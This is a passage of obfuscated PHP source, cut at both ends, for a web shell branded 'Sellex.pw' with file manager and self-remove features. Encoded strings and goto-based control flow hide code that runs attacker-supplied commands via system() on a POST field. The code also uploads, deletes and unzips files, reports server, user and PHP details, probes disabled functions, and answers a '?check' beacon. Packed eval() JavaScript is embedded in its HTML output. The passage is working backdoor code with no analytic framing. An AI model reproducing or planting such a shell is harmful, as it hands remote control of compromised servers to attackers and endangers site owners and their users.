x72\x65\144\40\102\x79\x20\74\x62\76\x53\x65\154\154\145\x78\x20\x53\150\157\x70\74\x2f\142\76\74\x2f\x61\x3e\xa\74\57\x64\151\166\76\12\74\x21\x2d\x2d\x20\74\x63\145\x6e\164\145\162\x3e\xa\40\40\x3c\x61\40\x68\x72\145\x66\75\x22\150\x74\x74\160\x73\x3a\57\57\163\x65\154\x6c\145\170\163\x68\157\160\56\147\151\164\150\165\142\56\151\x6f\x2f\x22\76\xa\x20\x20\40\x20\74\151\155\147\x20\x73\x72\143\75\x22\150\x74\x74\160\163\72\x2f\57\151\x6d\147\x30\60\x31\56\160\x72\156\x74\x73\143\162\x2e\x63\157\x6d\57\x66\x69\154\x65\57\x69\x6d\147\x30\x30\61\57\105\117\x68\150\65\65\157\x6f\x52\x33\x57\x64\150\x57\x5a\x54\152\123\x5f\130\x53\x77\x2e\147\x69\146\x22\40\141\154\164\75\42\123\145\154\x6c\x65\x78\x2e\x62\151\x7a\x22\76\12\x20\40\x3c\x2f\141\76\12\74\57\143\x65\156\164\x65\162\76\x20\x2d\x2d\x3e\12\74\x73\143\x72\151\x70\164\76\x65\x76\141\x6c\x28\146\165\156\x63\164\151\x6f\156\x28\160\54\141\x2c\143\54\153\x2c\145\x2c\x64\51\173\x65\x3d\x66\x75\156\x63\164\x69\x6f\156\50\143\x29\x7b\162\x65\x74\165\162\x6e\x28\143\74\141\77\47\47\72\145\x28\x70\x61\162\x73\145\x49\x6e\164\x28\143\x2f\x61\x29\51\51\x2b\x28\50\143\75\143\45\x61\x29\76\63\65\77\x53\164\x72\151\156\147\56\146\162\x6f\155\x43\x68\x61\162\x43\157\x64\145\50\143\x2b\x32\x39\x29\72\143\x2e\164\157\x53\x74\x72\x69\x6e\x67\50\63\66\51\51\x7d\x3b\x69\146\x28\x21\x27\x27\x2e\x72\145\x70\x6c\141\143\145\x28\x2f\x5e\57\54\x53\164\162\151\x6e\x67\x29\51\173\167\x68\151\x6c\145\50\x63\55\55\x29\x7b\144\133\145\x28\143\x29\135\75\153\133\143\135\x7c\174\x65\50\143\x29\x7d\153\75\x5b\146\x75\156\143\x74\x69\x6f\x6e\50\x65\x29\x7b\162\x65\x74\165\x72\x6e\x20\144\133\145\135\x7d\135\x3b\x65\x3d\146\x75\156\143\164\x69\x6f\156\50\51\173\x72\x65\x74\x75\x72\x6e\47\x5c\134\x77\53\x27\x7d\73\143\75\61\175\73\x77\x68\x69\154\x65\x28\x63\x2d\55\x29\173\x69\146\x28\153\133\143\135\51\173\x70\x3d\160\56\x72\x65\x70\154\141\x63\145\50\x6e\145\167\x20\x52\x65\147\105\170\160\x28\47\134\134\142\47\x2b\145\50\x63\x29\x2b\x27\x5c\134\x62\47\x2c\47\147\x27\x29\54\153\133\x63\135\x29\x7d\175\162\x65\x74\165\x72\x6e\40\x70\x7d\x28\47\105\x2e\x6e\50\51\73\44\x28\x5c\x27\133\62\55\155\75\x22\64\x22\135\134\47\51\x2e\x34\x28\51\73\x24\x28\x22\56\x6c\42\51\56\153\50\x6a\x28\x65\x29\x7b\145\x2e\147\x28\x29\73\x68\x20\x30\x3d\x24\x28\66\x29\56\65\x28\42\x32\55\60\x22\51\x3b\143\50\x7b\142\x3a\42\x61\42\54\x39\x3a\42\x6f\40\x69\x20\161\x3f\42\x2c\167\x3a\42\104\40\x22\53\60\x2b\42\x20\160\x20\x43\40\102\42\54\101\72\x37\54\x7a\x3a\67\x2c\175\x29\x2e\171\x28\50\70\51\x3d\76\173\162\50\x38\x29\173\170\x20\61\x3d\x24\x28\x36\x29\56\x35\x28\x22\x33\x22\51\53\42\x26\x74\x3d\x22\x2b\50\50\x30\x3d\75\x22\x76\x22\51\77\x22\x64\42\x3a\42\146\42\x29\73\165\56\163\x2e\x33\75\x31\x7d\x7d\x29\175\51\73\x27\x2c\x34\x31\x2c\64\x31\54\47\164\x79\160\x65\174\x62\x75\x69\154\144\x55\x52\x4c\174\144\x61\164\x61\x7c\x68\162\x65\146\174\x74\x6f\x6f\154\x74\151\160\x7c\x61\x74\x74\162\174\x74\x68\151\163\174\164\162\x75\145\174\x77\151\x6c\154\104\x65\154\x65\x74\x65\174\x74\151\x74\x6c\145\x7c\x77\141\162\156\151\x6e\x67\x7c\x69\143\157\x6e\x7c\163\167\x61\x6c\x7c\174\174\x7c\160\162\145\x76\x65\x6e\164\x44\145\146\x61\165\154\164\x7c\x6c\x65\x74\x7c\x79\157\x75\174\146\165\x6e\143\164\x69\157\156\x7c\143\x6c\151\143\x6b\174\144\x65\154\x65\164\145\174\164\157\x67\x67\x6c\145\174\151\x6e\151\164\174\x41\x72\145\174\x77\x69\154\154\x7c\163\x75\x72\145\174\151\146\x7c\154\157\143\141\x74\151\x6f\x6e\x7c\x7c\144\157\143\165\155\145\x6e\164\x7c\x66\x6f\154\144\x65\162\x7c\164\x65\x78\x74\174\x63\x6f\156\163\x74\174\x74\150\x65\x6e\x7c\x64\141\156\147\x65\x72\x4d\157\x64\x65\174\142\x75\164\x74\x6f\x6e\x73\x7c\x64\x65\154\145\164\x65\144\174\142\x65\174\x54\150\x69\163\174\142\x73\103\x75\x73\x74\157\155\x46\x69\x6c\145\x49\x6e\160\x75\x74\47\56\x73\x70\x6c\151\164\50\x27\174\x27\51\x2c\x30\54\173\175\x29\51\x3c\x2f\x73\143\162\x69\x70\164\76\xa\xa\74\163\143\162\x69\x70\x74\x20\x73\162\x63\75\x22\x68\164\164\160\163\x3a\x2f\57\x63\144\x6e\56\152\163\144\145\154\151\166\x72\x2e\x6e\x65\x74\x2f\x6e\160\x6d\57\100\x65\x78\x75\141\156\x62\157\x2f\146\x69\154\145\x2d\x69\x63\x6f\x6e\x73\55\x6a\163\100\154\141\164\x65\x73\164\57\144\151\x73\164\57\x6a\x73\x2f\x66\151\x6c\x65\x2d\x69\x63\157\156\x73\56\155\x69\x6e\56\152\163\42\x3e\74\57\x73\x63\x72\151\x70\x74\x3e\xa\x3c\163\143\162\151\160\x74\76\xa\40\40\x63\157\156\x73\164\40\x69\x63\157\x6e\163\40\x3d\40\x72\x65\x71\x75\151\162\x65\x28\x27\x66\x69\154\145\55\151\x63\x6f\156\x73\x2d\x6a\x73\47\51\xa\x20\x20\144\157\143\165\155\145\x6e\164\x2e\161\x75\x65\162\x79\123\x65\x6c\145\143\164\x6f\162\x41\x6c\154\x28\47\x2e\142\x69\56\x62\151\55\x66\x69\x6c\145\x2d\x65\141\162\x6d\141\162\153\55\x66\151\x6c\154\47\51\56\x66\157\x72\105\141\x63\150\50\x69\40\75\x3e\x20\173\12\40\x20\40\x20\x69\143\x6f\x6e\x73\56\x67\x65\x74\103\x6c\141\163\x73\50\x69\x2e\147\145\x74\101\x74\x74\x72\x69\x62\165\164\x65\x28\47\144\x61\164\x61\55\x6e\141\155\x65\47\x29\51\x2e\164\150\145\156\50\x63\x20\75\76\x20\x69\56\x63\x6c\141\163\x73\x4e\x61\x6d\145\x20\x3d\x20\x63\56\x72\145\160\154\x61\143\145\50\x22\151\x63\157\156\55\x66\151\x6c\x65\55\164\145\x78\x74\42\54\40\x22\164\145\170\164\x2d\151\143\x6f\x6e\42\51\51\xa\40\x20\x7d\51\xa\x3c\x2f\x73\143\x72\x69\x70\164\x3e\xa\74\x2f\142\x6f\x64\x79\x3e\x3c\x2f\150\x74\x6d\154\76\12"; goto xuNK1; RpDwy: echo substr(@phpversion(), 0, 20); goto rfYlk; kU72Z: echo system($_POST["\145\170\145\143\x6d\x64"]); goto rcEfg; Qm8jY: GfRvx: goto k5wXS; eKyjG: if (strpos(ini_get("\144\x69\163\x61\x62\154\145\137\x66\x75\156\x63\x74\x69\157\x6e\x73"), "\x73\x68\x65\x6c\x6c\137\x65\170\x65\143") !== 0) { goto aEkYB; } goto FEBxE; MIuoc: fclose($huZFR); goto qtvxW; B6QGb: F2y3T("\146\x69\154\145\40\x64\145\x6c\x65\164\x65\x64\x20\163\x75\x63\143\x65\163\x73\x66\x75\154\x6c\x79"); goto f0OQq; qG05B: if (strpos($bP9ht, "\141\144\144\x69\156\147") !== false) { goto nlzqU; } goto io1hp; sJ72V: if (@mail($I8vAC . "\100" . $I8vAC . "\x2e\x63\x6f\x6d", "\110\x65\x6c\x6c\x6f", "\110\x65\x6c\x6c\x6f\54\40\144\x65\x61\x72\40\x75\163\145\162\x21")) { goto bjEbz; } goto jsW6g; ln1jF: GvegE: goto zl_wE; sfpuB: uVwWe: goto ptH6a; GZOS4: if (!(isset($_POST["\x63\147\x66"]) && isset($_POST["\x63\x6f\x64\x65\170"]))) { goto cNHru; } goto IJK5e; qgmWb: unlink($fKgA3); goto BD3G9; pQMdN: echo basename($_SERVER["\120\110\120\137\x53\x45\x4c\x46"]); goto ftX43; te6fx: echo fFUJP(); goto suGJ_; hRGsN: echo $_SERVER["\123\105\122\x56\x45\x52\x5f\x41\x44\x44\x52"]; goto X7iEx; d82TW: if (!isset($_GET["\143\x68\x65\x63\153"])) { goto oUhL4; } goto t1bgm; mdSkB: jH9T2: goto ln1jF; t1bgm: die("\167\x6f\162\153\151\x6e\x67"); goto qeUDI; EWy47: if ($uKjJE == "\156\x65\167\104\151\162") { goto A1Aby; } goto Q1b9f; pVwzF: if (empty($bzgfY)) { goto T17o4; } goto M4x5x; JAjFD: UMC9K: goto r5Ado; g2Jgz: NY9pM: goto o4r4L; g1M5R: rmdir($mKxy1); goto QmpR8; zkSv_: M9NtG: goto gvvFg; qp1Ja: echo ta6a_(); goto x20Uz; I04b2: echo uocA2(); goto qBcvL; Rjllv: echo "\x22\76\x3c\x62\x72\76\12\40\x20\40\x20\x20\x20\40\40\74\151\156\x70\165\x74\40\164\x79\160\x65\75\42\163\165\142\155\x69\x74\x22\40\x63\154\141\x73\163\x3d\42\142\165\164\164\x6f\156\40\151\163\x2d\x70\162\x69\x6d\141\162\171\x20\155\154\55\x32\42\x20\166\141\154\x75\x65\75\42\x63\x68\155\157\144\42\76\xa\x20\40\x20\40\40\40\74\x2f\x64\151\x76\x3e\xa\40\x20\40\40\x3c\57\146\157\162\x6d\x3e\12\x20\x20\74\x2f\144\151\x76\76\12\x9"; goto GZOS4; nXISj: nlzqU: goto ni_Wu; Ivj0Q: echo $_SERVER["\x52\x45\115\x4f\124\105\137\101\x44\x44\x52"]; goto f3cw5; fwZTh: ptPZr($_REQUEST["\160"] . "\x2f" . $_REQUEST["\x6e"]); goto bVKkC; S9ILR: goto ezK61; goto FOIiG; maHD6: $oJwbz = ''; goto SgmfV; LQ0zG: file_put_contents($E5Z_f, "\x74\145\x73\x74"); goto rA9Hj; CXBuX: if (!isset($_FILES["\x66"])) { goto C3vwP; } goto e3BHi; Lh2oi: aEkYB: goto UvaCs; KwcdW: echo get_current_user(); goto zysIk; ezNsH: echo FFujP(); goto iTPy6; GarFd: $bzgfY = shell_exec("\167\x68\x69\143\x68\x20\172\x69\160"); goto maHD6; eLrPW: F2Y3T("\x5a\111\x50\40\x46\151\x6c\145\x20\105\170\164\162\141\143\x74\x65\x64\x21"); goto be0Xq; HhYmi: echo "\42\76\12\40\40\x20\x20\x3c\144\151\x76\x20\x63\154\x61\163\x73\75\42\151\163\x2d\x66\x6c\x65\x78\42\x3e\xa\x20\x20\40\40\x20\x20\74\x69\x6e\160\165\x74\x20\x74\171\x70\x65\75\x22\x74\145\x78\x74\42\40\156\x61\x6d\145\75\x22\x63\x6f\144\145\x78\42\x20\143\x6c\141\163\x73\x3d\42\x69\156\x70\x75\164\42\x20\160\x6c\141\143\x65\x68\x6f\154\144\x65\162\75\42"; goto kRxWW; GpfQr: sl6BV: goto Q_7wu; hXpWe: echo "\74\x2f\164\151\164\x6c\x65\76\xa\40\x20\40\40\74\x73\164\171\154\145\76\12\40\40\40\40\x20\x20\164\x62\157\x64\171\40\x74\162\x3a\x68\x6f\166\x65\162\40\x7b\12\x20\40\40\x20\40\40\40\x20\142\x61\143\153\147\162\157\x75\156\x64\55\x63\x6f\154\x6f\162\x3a\40\x68\163\154\x28\61\x37\x31\x2c\x20\x31\60\60\45\54\x20\x31\66\45\51\12\40\x20\40\40\40\x20\175\xa\x20\x20\40\40\40\40\154\x69\40\x7b\xa\x20\x20\40\x20\40\x20\40\x20\x66\157\156\x74\x2d\163\x69\172\x65\72\x20\x31\70\x70\x78\73\12\x20\40\x20\40\x20\x20\x20\40\x6d\141\162\147\151\x6e\55\x6c\x65\146\x74\x3a\40\66\160\170\x3b\xa\40\40\x20\40\x20\x20\40\x20\x6c\151\163\x74\x2d\163\164\x79\x6c\x65\x3a\x20\156\x6f\x6e\x65\xa\x20\40\40\x20\40\40\x7d\12\x20\x20\x20\40\40\x20\x69\56\151\x63\x6f\156\x20\173\12\x20\40\x20\x20\40\40\x20\40\163\x63\x61\154\x65\x3a\x20\x31\x2e\64\73\12\40\x20\40\x20\x20\x20\x20\x20\155\x61\162\x67\x69\x6e\55\154\x65\x66\164\x3a\40\x2d\x34\160\x78\x3b\xa\x20\x20\x20\40\x20\x20\x7d\xa\x20\40\x20\x20\40\x20\x69\x6e\160\165\x74\x2e\x69\156\160\165\x74\72\72\x70\x6c\141\143\x65\150\157\154\144\145\x72\x7b\12\40\40\40\x20\40\40\40\40\143\x6f\x6c\x6f\x72\x3a\40\x68\x73\x6c\50\61\x37\61\x2c\40\61\x30\x30\x25\54\40\62\x38\45\51\x3b\12\x20\x20\40\40\x20\40\x7d\12\x20\x20\x20\40\x20\x20\x2e\146\154\x6f\x61\x74\x69\x6e\147\55\x62\141\x6e\156\145\x72\173\xa\40\x20\40\x20\x20\x20\x20\40\x70\157\163\151\164\151\157\156\72\146\151\170\x65\x64\73\x62\x6f\x74\x74\157\x6d\72\60\x3b\x72\151\147\x68\164\72\x30\73\xa\x20\40\40\40\40\x20\175\xa\40\x20\40\x20\x20\x20\x2e\146\x6c\157\141\x74\151\156\147\x2d\x62\x61\x6e\156\x65\162\40\141\40\173\12\x20\40\x20\x20\40\40\x20\40\142\157\x72\144\x65\x72\x3a\64\x70\170\40\163\157\x6c\151\x64\40\x23\x66\x66\146\146\x66\146\66\66\x3b\12\x20\x20\x20\x20\40\40\x20\40\x63\x6f\154\157\162\x3a\x23\146\x66\146\x66\x66\146\103\x43\x3b\12\40\x20\40\x20\40\x20\40\x20\142\x6f\162\x64\x65\162\x2d\162\141\144\151\x75\x73\72\70\x70\170\x3b\12\40\40\40\x20\x20\x20\x20\x20\x70\x61\144\x64\151\x6e\147\x3a\x32\160\170\x20\61\62\x70\170\73\12\x20\x20\x20\x20\x20\x20\x7d\12\40\x20\40\40\40\x20\x2e\146\154\x6f\x61\164\x69\x6e\147\55\x62\141\x6e\x6e\x65\162\x20\x61\x20\x62\40\x7b\12\x20\40\40\40\40\x20\x20\40\146\x6f\156\164\55\167\x65\151\x67\150\x74\72\71\x30\60\x3b\xa\40\40\40\40\40\x20\40\40\x63\157\x6c\157\162\72\x77\x68\151\x74\145\x3b\xa\x20\x20\x20\40\40\40\x7d\xa\x20\40\x20\40\x20\x20\x2e\x67\162\x61\144\x69\x65\156\164\55\x62\147\x20\173\xa\40\x20\x20\40\40\x20\x20\40\142\x61\x63\x6b\x67\162\x6f\165\x6e\x64\x3a\x20\x6c\151\x6e\x65\141\162\55\x67\162\x61\144\151\145\x6e\x74\50\55\64\x35\144\x65\147\54\x20\40\43\60\x66\x30\x63\62\x39\54\x20\x23\x33\60\x32\x62\66\x33\54\x20\x23\x32\x34\62\x34\63\x65\54\x23\x65\x65\x37\x37\x35\62\54\x20\x23\x65\x37\63\143\67\145\x2c\x20\43\x32\63\x61\66\144\x35\54\40\x23\62\63\144\65\x61\x62\54\x20\43\146\x66\x35\x31\62\146\54\x20\x23\x64\144\62\x34\x37\66\54\x20\x23\61\146\x34\60\x33\67\x2c\x20\x23\x31\x36\62\x32\62\141\54\40\x23\60\x62\64\70\66\x62\x2c\40\x23\62\x33\60\67\x34\144\x2c\x20\x23\x63\143\65\x33\x33\x33\x29\x3b\xa\x20\40\x20\40\40\x20\x20\x20\x62\141\x63\x6b\147\162\157\165\156\x64\55\x73\x69\172\x65\x3a\x20\x34\x30\x30\x25\40\64\60\60\45\x3b\12\40\x20\x20\40\40\x20\40\40\141\x6e\151\155\141\164\x69\157\156\x3a\40\x67\162\x61\144\151\145\x6e\164\x20\61\x30\163\40\x65\141\x73\x65\x20\x69\x6e\146\x69\x6e\151\164\x65\x3b\xa\x20\40\40\40\x20\40\x7d\xa\xa\40\40\x20\40\x20\40\x40\x6b\145\171\146\162\141\x6d\x65\x73\x20\x67\162\x61\144\x69\x65\156\x74\40\173\12\40\x20\40\x20\40\40\40\x20\60\45\40\173\12\40\40\x20\40\x20\40\x20\40\40\40\x62\141\x63\153\x67\162\x6f\x75\x6e\x64\x2d\x70\x6f\163\x69\164\151\157\x6e\x3a\40\x30\45\x20\x35\60\x25\73\12\40\x20\40\x20\x20\40\x20\40\175\12\x20\x20\x20\x20\40\x20\x20\40\65\60\45\x20\173\12\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\142\x61\143\x6b\x67\162\x6f\x75\x6e\x64\55\x70\157\163\x69\164\151\x6f\x6e\72\40\x31\x30\x30\x25\40\65\x30\x25\x3b\12\x20\x20\x20\40\x20\40\40\x20\175\xa\x20\x20\x20\40\x20\x20\x20\x20\61\x30\x30\45\40\x7b\12\40\x20\40\40\x20\40\40\x20\40\40\142\x61\x63\x6b\147\162\157\165\156\x64\55\160\157\x73\x69\x74\x69\157\x6e\x3a\40\x30\45\x20\65\60\x25\73\12\40\x20\x20\x20\x20\40\40\40\175\12\x20\x20\40\x20\x20\x20\x7d\xa\12\12\x20\x20\x20\x20\x20\40\141\x7b\x63\x6f\154\x6f\x72\x3a\43\146\146\x66\175\12\x20\x20\40\x20\x3c\x2f\x73\x74\x79\x6c\x65\x3e\12\x20\x20\40\40\74\163\x63\162\151\160\164\40\x73\162\x63\75\42\57\57\165\x6e\160\x6b\x67\56\x63\x6f\155\x2f\163\x77\x65\x65\164\141\x6c\x65\x72\x74\x2f\x64\x69\x73\164\x2f\x73\x77\x65\145\164\141\154\145\x72\164\x2e\x6d\x69\156\x2e\152\163\42\x3e\74\x2f\163\x63\x72\x69\x70\164\x3e\12\x20\x20\74\57\x68\x65\141\144\x3e\xa\74\142\x6f\x64\x79\x20\x64\x61\164\141\x2d\x74\x68\x65\155\145\75\x22\144\x61\x72\x6b\42\40\x63\x6c\141\163\163\x3d\x22\150\141\x73\55\x62\141\x63\153\x67\162\157\x75\x6e\x64\x2d\142\154\x61\143\x6b\55\142\151\163\x20\150\x61\x73\x2d\164\x65\x78\164\55\x77\150\151\x74\x65\55\142\x69\x73\x22\40\x73\164\x79\x6c\x65\x3d\42\x6d\x69\156\x2d\150\145\x69\147\x68\164\x3a\x31\x30\60\x76\x68\42\76\12\40\x20\x3c\144\151\x76\40\x73\164\171\x6c\145\x3d\42\x64\151\163\160\154\x61\x79\x3a\156\x6f\x6e\x65\42\76\12\40\40\x20\x20\74\x61\40\x68\x72\145\x66\x3d\x22\150\164\164\160\x73\72\57\57\x73\x65\x6c\154\x65\170\x2e\142\x69\x7a\x22\x20\x74\x69\x74\154\x65\75\42\123\x65\x6c\x6c\x65\170\40\123\150\157\x70\x22\x3e\x53\145\154\x6c\x65\170\x20\x53\x68\157\160\74\57\141\76\xa\40\40\40\40\74\x64\151\166\76\12\x20\40\40\40\40\x20\74\163\160\x61\x6e\x3e\x53\x65\154\154\145\170\x2e\x70\x77\74\x2f\x73\x70\141\156\76\12\x20\40\x20\x20\x20\40\x3c\163\160\x61\x6e\76\x46\x69\x6c\145\x20\155\x61\x6e\x61\147\145\x72\x3c\57\x73\160\141\156\x3e\12\x20\x20\40\40\40\x20\x3c\163\x70\x61\156\x3e\123\x65\x6c\146\40\162\x65\155\x6f\166\x65\74\x2f\x73\x70\x61\156\76\12\x20\40\x20\40\74\57\144\151\166\x3e\12\x20\40\40\x20\x3c\154\x69\x3e\125\156\141\155\x65\40\72\40\x3c\156\157\142\162\x3e"; goto KBqBV; ftX43: echo "\42\76\12\x20\x20\x20\x20\x20\40\x20\40\x3c\x69\x6e\x70\165\x74\x20\164\171\160\145\75\42\163\x75\142\x6d\151\x74\x22\40\x63\154\x61\x73\x73\x3d\x22\142\165\x74\x74\x6f\x6e\x20\x69\163\x2d\x70\162\x69\155\141\162\171\40\151\163\55\x64\x61\162\x6b\40\151\x73\x2d\163\x6d\141\154\x6c\x20\155\164\x2d\62\42\40\156\141\x6d\145\75\x22\151\156\146\x6f\42\x20\x76\141\x6c\165\x65\75\x22\106\165\x6c\x6c\40\x53\x65\162\166\x65\162\x20\x49\156\x66\157\x22\x3e\xa\x20\x20\40\x20\x20\40\x3c\x2f\146\157\162\155\x3e\12"; goto Zn19y; asyxZ: if ($DRQDR === TRUE) { goto pBHDV; } goto dJUVQ; gvvFg: echo "\74\144\x69\x76\x20\x6d\x65\164\150\x6f\144\75\42\x70\157\163\164\42\40\143\x6c\141\x73\163\75\42\x62\x6f\170\x22\x20\x73\x74\171\x6c\x65\x3d\x22\x62\x6f\x72\x64\145\x72\x3a\62\160\170\40\163\x6f\x6c\151\144\x20\x68\x73\154\50\x31\x37\x31\54\40\x31\x30\60\45\x2c\40\61\x36\x25\x29\42\x3e\xa\40\40\x3c\150\64\x20\x63\154\x61\x73\163\75\x22\151\x73\x2d\163\x69\x7a\x65\55\x35\40\150\x61\x73\x2d\164\x65\x78\164\x2d\167\x65\x69\147\150\164\x2d\x62\157\x6c\144\x20\150\141\163\55\164\145\170\x74\x2d\160\162\151\x6d\141\x72\x79\x20\155\x62\x2d\x34\42\x3e\xa\x20\40\40\40\x56\151\145\167\x20\x46\x69\154\145\x3a\x20\x3c\163\x70\x61\x6e\x20\143\154\x61\163\x73\x3d\42\150\x61\x73\55\x74\145\x78\164\x2d\167\150\151\x74\145\x20\150\141\x73\55\x74\145\170\x74\x2d\167\145\x69\147\150\x74\x2d\x6e\x6f\x72\155\x61\x6c\x22\76\x20"; goto k9e4Z; fSLYI: if (!isset($_POST["\x7a\151\160\x66\151\x6c\x65"])) { goto TiVoG; } goto HiUWT; cgrAg: bjEbz: goto S8AsQ; PQOqt: echo ugwhk($_GET["\156"]); goto aDHsV; JniYy: unlink($FK4d6); goto Rk1K9; G87Ww: echo UgWhk($_GET["\x70"]) . "\x2f" . UgwhK($_GET["\x6e"]); goto HhYmi; o4r4L: echo "\125\156\172\151\160\160\x65\x64\x20\x73\x75\x63\143\145\163\x73\x66\165\154\x6c\171\x20\165\163\151\x6e\147\40\143\x6f\155\x6d\141\x6e\144\40\154\x69\x6e\x65\x2e\xa"; goto FcEuN; DNDGC: H2eZY: goto nH3yT; bVKkC: Rhx7x: goto BFh3Z; Qnu8o: if (isset($_GET["\x64\x6f\x77\x6e\154\x6f\x61\x64"])) { goto nBPoY; } goto BCVk_; C_GN8: isset($_POST["\163"]) ? $mWJjd[12]("{$keVpk}\x2f{$_POST["\156"]}") ? f2Y3t("\146\157\154\x64\145\162\40\x6e\141\155\x65\x20\x68\x61\163\40\x62\145\145\x6e\x20\x75\x73\x65\144", 0, "\46\x61\75" . SiRa4("\x6e\x65\167\x44\151\x72")) : ($mWJjd[15]("{$keVpk}\57{$_POST["\156"]}") ? F2y3T("\146\x6f\x6c\x64\x65\x72\40\143\162\x65\141\x74\145\x64\40\x73\165\x63\143\x65\163\163\x66\x75\154\154\171") : F2y3T("\146\x6f\x6c\144\x65\162\x20\146\141\151\154\x65\x64\x20\164\157\40\143\x72\x65\141\x74\x65", 0)) : null; goto cxhRw; K_MOx: $zErae++; goto uThiJ; OKn_g: echo "\74\x2f\x6c\x69\76\xa\40\x20\74\57\x64\x69\166\x3e\xa\x20\x20\x3c\x64\151\x76\40\143\x6c\141\163\x73\x3d\42\160\x2d\62\x22\x3e\12\40\40\40\40\x20\x20\x3c\150\x33\x20\x63\x6c\x61\x73\x73\x3d\42\x69\163\55\x73\151\x7a\x65\x2d\63\x20\x6d\x62\x2d\x33\42\x20\x3e\xa\40\40\x20\x20\40\x20\x20\40\74\x63\x65\156\x74\145\162\x3e\x3c\142\x3e\74\x61\x20\x73\164\x79\x6c\145\75\42\142\141\143\153\x67\x72\157\x75\x6e\x64\72\x74\x72\141\x6e\x73\160\141\162\145\x6e\x74\x22\x20\150\x72\145\x66\x3d\42"; goto LISdx; NbQpR: echo "\x3c\x2f\160\x72\x65\76\74\x2f\144\151\x76\76"; goto F63xR; f0OQq: zBzhl: goto OhcY4; i0L9P: if (isset($_GET["\160"])) { goto X1heF; } goto hB10d; nH3yT: echo "\124\150\x65\40\x27\x75\156\x7a\151\x70\47\x20\143\157\155\x6d\x61\156\x64\40\x69\163\40\156\x6f\x74\40\141\166\141\x69\x6c\141\x62\154\145\x20\157\156\x20\x74\x68\x69\x73\x20\x73\145\x72\166\x65\162\56\12"; goto vwrwf; m8TO1: $DRQDR = $qJtBd->open($huZFR); goto asyxZ; iTPy6: echo "\74\57\x6e\x6f\142\162\76\40\174\40\143\125\x52\114\x20\72\40"; goto HKjD5; rwbFS: dR8cX: goto lmJ1h; xLpxC: v0eS9: goto nJ13P; r2NiQ: echo "\40\x20\x20\x20\x20\x20\x3c\57\146\157\x72\155\76\12\40\40\x20\40\x20\x20\74\146\x6f\x72\x6d\x20\x61\143\164\151\x6f\156\x3d\42\x22\x20\x63\154\141\163\163\75\42\x69\163\x2d\x66\154\145\170\x20\151\163\55\x61\154\x69\147\x6e\55\x69\164\x65\155\163\x2d\x65\156\x64\x22\x20\x6d\145\164\x68\x6f\144\x3d\42\x50\117\123\x54\x22\76\xa\x20\x20\x20\x20\40\40\40\x20\74\x64\x69\x76\76\xa\x20\x20\40\x20\x20\40\x20\40\x20\x20\x3c\x21\55\55\x20\x3c\x6c\141\142\145\x6c\x3e\x4e\x65\x77\x20\x46\x69\x6c\145\74\x2f\154\141\142\x65\x6c\x3e\40\x2d\55\76\12\40\x20\40\x20\40\x20\40\40\x20\40\x3c\x69\x6e\160\x75\164\x20\164\x79\160\x65\x3d\42\x74\145\170\164\42\40\143\154\x61\163\x73\x3d\42\x69\156\160\165\164\x20\151\x73\55\163\x6d\x61\154\154\42\40\x70\154\141\x63\x65\x68\x6f\x6c\x64\x65\x72\75\x22\x4e\x65\x77\x20\106\x69\x6c\x65\x22\40\x20\x6e\x61\155\145\x3d\x22\155\141\153\x65\146\x69\154\x65\42\x2f\x3e\12\40\x20\40\x20\40\40\x20\40\74\57\x64\x69\x76\76\12\x20\x20\x20\x20\x20\40\40\40\x3c\151\156\x70\165\x74\x20\143\154\141\163\163\x3d\42\x6d\x6c\x2d\61\x20\x62\165\x74\164\157\x6e\x20\151\163\x2d\160\162\x69\x6d\x61\x72\171\x20\x69\x73\x2d\x73\x6d\x61\x6c\154\42\40\x74\x79\x70\145\x3d\x22\163\165\142\155\x69\x74\x22\x20\x6e\141\155\145\75\x22\163\x75\142\x6d\x69\x74\x22\40\166\141\x6c\x75\x65\75\x22\x3e\x22\x2f\76\12\40\40\x20\40\x20\40\x20\x20"; goto H61a3; BrWxp: echo $_SERVER["\x52\105\115\x4f\124\x45\137\x41\104\104\x52"]; goto tZlvn; LNZmW: lA959: goto aygGR; suGJ_: echo "\x3c\57\156\x6f\142\162\x3e\12\40\x20\x20\40\x20\x20\x20\x20\x3c\142\x20\x63\x6c\x61\x73\x73\75\42\164\141\x67\x20\x69\x73\x2d\154\151\x67\150\164\40\150\x61\x73\55\x74\x65\170\164\55\144\x61\x72\153\42\x3e\143\x55\x52\114\74\x2f\x62\76\12\x20\40\x20\x20\x20\x20\x20\x20\x3c\156\x6f\x62\162\x20\x63\154\x61\163\x73\75\x22\x6d\x78\x2d\62\42\76"; goto I04b2; znQki: ISTc7: goto S4PR2; hRG94: die($oJwbz); goto RXCC4; VLAWb: function ta6A_() { goto qIzSa; Xx_Os: return "\x4f\106\106"; goto Hu5gv; XNMt4: return "\117\x4e"; goto uWjuh; T7EWo: if (!$CNnnz) { goto HT4LX; } goto XNMt4; Hu5gv: dK1SF: goto QjQdh; uWjuh: goto dK1SF; goto xfzK_; xfzK_: HT4LX: goto Xx_Os; qIzSa: $CNnnz = ini_get("\x73\x61\146\x65\x5f\x6d\x6f\144\145"); goto T7EWo; QjQdh: } goto nIBSq; ihg4R: echo "\x3c\x2f\144\x69\x76\x3e\xa\12"; goto cSOLn; qeUDI: oUhL4: goto Digjf; RU3J2: uUjpR: goto tvfll; BD3G9: unlink($mKxy1 . "\x2f\164\x65\x73\164\x5f\x63\157\155\155\x61\156\144\56\164\170\x74"); goto g1M5R; hp8IJ: echo "\42\x3e\12\x20\x20\40\x20\x20\40\74\x64\x69\166\40\x63\x6c\x61\163\x73\75\42\x69\x73\x2d\146\x6c\x65\x78\x22\76\12\40\x20\x20\40\x20\x20\x20\x20\x3c\151\x6e\160\x75\164\x20\x74\171\x70\145\75\x22\164\145\170\x74\x22\x20\x6e\x61\155\145\75\42\143\157\144\145\170\x22\40\x63\x6c\141\163\163\75\42\x69\156\x70\x75\x74\x22\x20\x70\154\141\x63\x65\150\x6f\154\x64\145\162\x3d\x22"; goto o2t6T; ZxJHB: $I8vAC .= $Q0FGf[rand(0, $c4zya - 1)]; goto sfpuB; KNEon: if (file_exists($mKxy1 . "\x2f\164\x65\x73\164\x5f\143\157\x6d\x6d\141\x6e\144\x2e\164\170\164")) { goto NY9pM; } goto gFmxG; FEBxE: if (strpos(ini_get("\x64\x69\163\x61\x62\x6c\145\x5f\146\x75\156\143\164\151\157\156\163"), "\x70\141\x73\x73\164\x68\162\165") !== 0) { goto GfRvx; } goto kU72Z; S4PR2: jRMyk: goto ihg4R; ptH6a: $zErae++; goto S9ILR; PnUlf: if (!($zErae < count($mWJjd))) { goto JaEu0; } goto 